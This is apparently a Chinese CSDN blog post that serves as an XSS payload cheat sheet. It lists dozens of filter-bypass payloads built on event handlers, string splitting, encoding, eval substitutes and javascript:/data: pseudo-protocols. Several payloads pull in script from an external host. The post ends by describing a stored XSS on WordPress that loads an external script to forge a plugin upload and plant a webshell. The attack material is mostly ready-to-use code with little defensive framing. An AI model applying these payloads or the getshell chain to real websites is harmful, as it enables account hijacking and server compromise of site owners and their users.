xss该如何使用?

文章详细描述了XSS攻击中如何利用HTML标签的onerror事件和JavaScript编码技巧,如`
摘要由CSDN通过智能技术生成

xss该如何使用?

XSS绕过相关

<video为标签

onerror为事件

alert(1)为触发函数

弹窗

<script>alert(1)</script>
<script>prompt(2)</script>
<script>confirm(3)</script>
<script>console.log(3)</script>
<script>document.write(1)</script>

img标签,隐藏未加载图标

<img src onerror=alert(1)>
<img src=1 onerror=alert(1) hidden>

无法用圆括号

<script>alert`1`</script>
<video src onerror=a="%2",location="javascript:aler"+"t"+a+"81"+a+"9">
<video src onerror="javascript:window.onerror=alert;throw 1">

单引号,双引号,反引号互相替换

<img src onerror=appendChild(createElement(`script`)).src=`https://www.baidu.com`>
<img src onerror=appendChild(createElement('script')).src='https://www.baidu.com'>
<img src onerror=appendChild(createElement("script")).src="https://www.baidu.com">

http协议省略

<script src="//www.baidu.com"></script>

前后闭合

"><img src onerror=alert(1)//

空格填充

A位置可填充/,/123/,%09,%0A,%0C,%0D,%20

B位置可填充%09,%0A,%0C,%0D,%20

C位置可填充%0B,如果加双引号,则可以填充/**/,%09,%0A,%0C,%0D,%20

D位置可填充%09,%0A,%0C,%0D,%20,//,>

函数配合拼接

<video/src/onerror=top.alert(1);>
<video/src/onerror=top[`al`+`ert`](1);>
<video/src/onerror=self[`al`+`ert`](1);>
<video/src/onerror=parent[`al`+`ert`](1);>
<video/src/onerror=window[`al`+`ert`](1);>
<video/src/onerror=frames[`al`+`ert`](1);>
<video/src/onerror=content[`al`+`ert`](1);>
<body/onload=eval(alert(1));>
<body/onload=eval(`al`+`ert(1)`);>
<body/onload=open(alert(1));>
<body/onload=document.write(alert(1));>
<body/onload=setTimeout(alert(1));>
<body/onload=setInterval(alert(1));>
<body/onload=Set.constructor(alert(1))()>
<body/onload=Map.constructor(alert(1))()>
<body/onload=Array.constructor(alert(1))()>
<body/onload=WeakSet.constructor(alert(1))()>
<body/onload=constructor.constructor(alert(1))>
<video/src/onerror=[1].map(alert);>
<video/src/onerror=[1].map(eval('al'+'ert'));>
<video/src/onerror=[1].find(alert);>
<video/src/onerror=[1].every(alert);>
<video/src/onerror=[1].filter(alert);>
<video/src/onerror=[1].forEach(alert);>
<video/src/onerror=[1].findIndex(alert);>

赋值和拼接

<img src onerror=_=alert,_(1)>
<img src alt=al lang=ert onerror=top[alt+lang](1)>
<img src onerror=top[a='al',b='ev',b+a]('alert(1)')>
<img src onerror=['ale'+'rt'].map(top['ev'+'al'])[0]['valu'+'eOf']()(1)>

创建匿名函数

<video/src/onerror=Function('ale'+'rt(1)')();>

加密函数(parseInt和toString互逆)

<video/src/onerror=top[8680439..toString(30)](1);>
<video/src/onerror=top[11189117..toString(32)](1);>

编码

<script>eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')</script>
eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))</script>
eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')
eval(atob('YWxlcnQoMSk='))
eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))
<img src onerror=&#97&#108&#101&#114&#116(1)>
<iframe src=&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;>

过滤eval

<img src=x onerror=\u0065val(atob('YWxlcnQoMSk=')) >
<img src=x onerror="Function`a${atob`YWxlcnQoMSk=`}```">
<img src=x onerror="``.constructor.constructor`a${atob`YWxlcnQoMSk=`}```">

伪协议

<svg/onload=javascript:alert(1)>
<iframe src=javascript:alert(1)>
<form action=javascript:alert(1)><input type=submit>
<a href=javascript:alert(123);>xss</a>
<iframe src=data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=>
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=></object>
<embed src=data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==">

更换标签和事件

<img src onerror=alert(1);>
<image src onerror=alert(1);>
<audio src onerror=alert(1);>
<video src onloadstart=alert(1);>
<svg onload=alert(1);>
<body onload=alert(1);>
<style onload=alert(1)>
<iframe onload=alert(1);>
<textarea onfocus=alert(1); autofocus>
<input onfocus=alert(1);>
<details ontoggle=alert(1);>
<div onclick=alert(1)>XSS
<h1 onclick=alert(1)>XSS
<anytag onmouseover=alert(1)>XSS
<a onmouseover=alert(1)>XSS
<button onclick=alert(1)>XSS
<xxxxxxxxx oncopy=alert(1)>XSS

前几周审计xss可以发现wordpress对于cookie设置了http-only,这周看到有个很有意思的xss利用方式,可以不获取cookie只要达到后台就可以模拟上传插件操作进行getshell的xss攻击方式

这边先插入一个存储型的xss,导入自己写js外链

在这里插入图片描述

这个是js内容,可以看到这边是进行了一个模拟ajax的一个请求,内容的意思是发送一个获取一个安装插件的请求,通过安装插件进行getshell

在这里插入图片描述

只要在上传的插件中写入木马就可以进行getshell,在这个利用方式中xss相当于一个跳板,模拟了一个安装请求去getshell,只需要等待管理员触发就可以进行注入

在这里插入图片描述

  • 6
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值